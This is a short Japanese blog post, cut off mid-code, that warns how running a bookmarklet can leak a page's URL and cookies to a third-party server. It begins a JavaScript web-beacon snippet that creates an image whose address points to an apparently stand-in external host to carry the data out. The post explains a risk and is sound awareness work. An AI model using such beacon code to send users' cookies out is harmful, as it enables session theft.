ブックマークレットの実行によりCookieなどを第3者に送信してしまう危険性を認識する - 情報と音楽

(ブックマークレットの作成者が第3者か、ってのはおいといて。) 今回、別にセキュリティに詳しくないのに書いてるので、詳しい方のつっこみ歓迎。 ブックマークレットとは、あらかじめ保存(普通はブックマーク)しておいた、JavaScriptのコードを任意のWebページ上で実行することで、いろいろな処理を実現できる機能である。 大変便利な技術で、私も1日何度も使っているが、閲覧しているサイトの作成者が意図しないスクリプトを実行する以上、セキュリティリスクもある。 ここでは、ブックマークレットを実行することで、そのページのURLおよび、Cookieの内容を別のサーバに送信できるか試してみる。 データを送信する方法としては、実装が楽そうなWebビーコン方式とする。 (function(){ var e=document.createElement('img'); e.src='http://examp